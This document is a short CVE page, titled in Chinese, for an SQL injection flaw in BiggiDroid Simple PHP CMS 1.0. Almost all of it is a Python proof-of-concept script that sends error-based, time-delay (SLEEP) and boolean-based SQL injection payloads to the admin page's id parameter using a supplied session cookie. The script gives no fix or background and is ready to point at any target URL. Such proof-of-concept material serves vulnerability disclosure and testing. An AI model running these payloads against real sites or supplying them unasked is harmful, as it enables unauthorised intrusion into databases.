CVE-2025-15169 BiggiDroid Simple PHP CMS SQL注入漏洞

import requests import sys # CVE-2025-15169 SQL Injection PoC for BiggiDroid Simple PHP CMS 1.0 # Target: /admin/editsite.php # Parameter: ID def test_sql_injection(target_url, cookie): """ Test for SQL injection vulnerability in BiggiDroid Simple PHP CMS Requires admin authentication cookie """ # Basic test - simple quote to trigger SQL error payload_error = "'" # Time-based blind SQL injection using SLEEP() # Replace 5 with higher value for testing payload_time = "' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1" # Boolean-based blind SQL injection payload_boolean = "' AND 1=1 AND '1'='1" payload_boolean_false = "' AND 1=2 AND '1'='1" headers = { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Testing target: {target_url}") print("[*] Testing basic SQL injection...") # Test 1: Error-based injection test_url = f"{target_url}/admin/editsite.php?id={payload_error}" try: resp = requests.get(test_url, headers=headers, timeout=10) if 'sql' in resp.text.lower() or 'error' in resp.text.lower(): print("[+] Potential SQL injection detected (error-based)") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Test 2: Time-based blind injection print("[*] Testing time-based blind SQL injection...") test_url = f"{target_url}/admin/editsite.php?id=1{payload_time}" try: resp = requests.get(test_url, headers=headers, timeout=15) print("[+] Time-based test completed") except requests.exceptions.Timeout: print("[+] Time-based SQL injection confirmed (request timed out)") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Test 3: Boolean-based blind injection print("[*] Testing boolean-based blind SQL injection...") test_url_true = f"{target_url}/admin/editsite.php?id=1{payload_boolean}" test_url_false = f"{target_url}/admin/editsite.php?id=1{payload_boolean_false}" try: resp_true = requests.get(test_url_true, headers=headers, timeout=10) resp_false = requests.get(test_url_false, headers=headers, timeout=10) # Compare response lengths or content if len(resp_true.text) != len(resp_false.text): print("[+] Boolean-based SQL injection detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] PoC testing completed") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_cookie>") print(f"Example: python {sys.argv[0]} http://target.com 'PHPSESSID=abc123'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] test_sql_injection(target, cookie)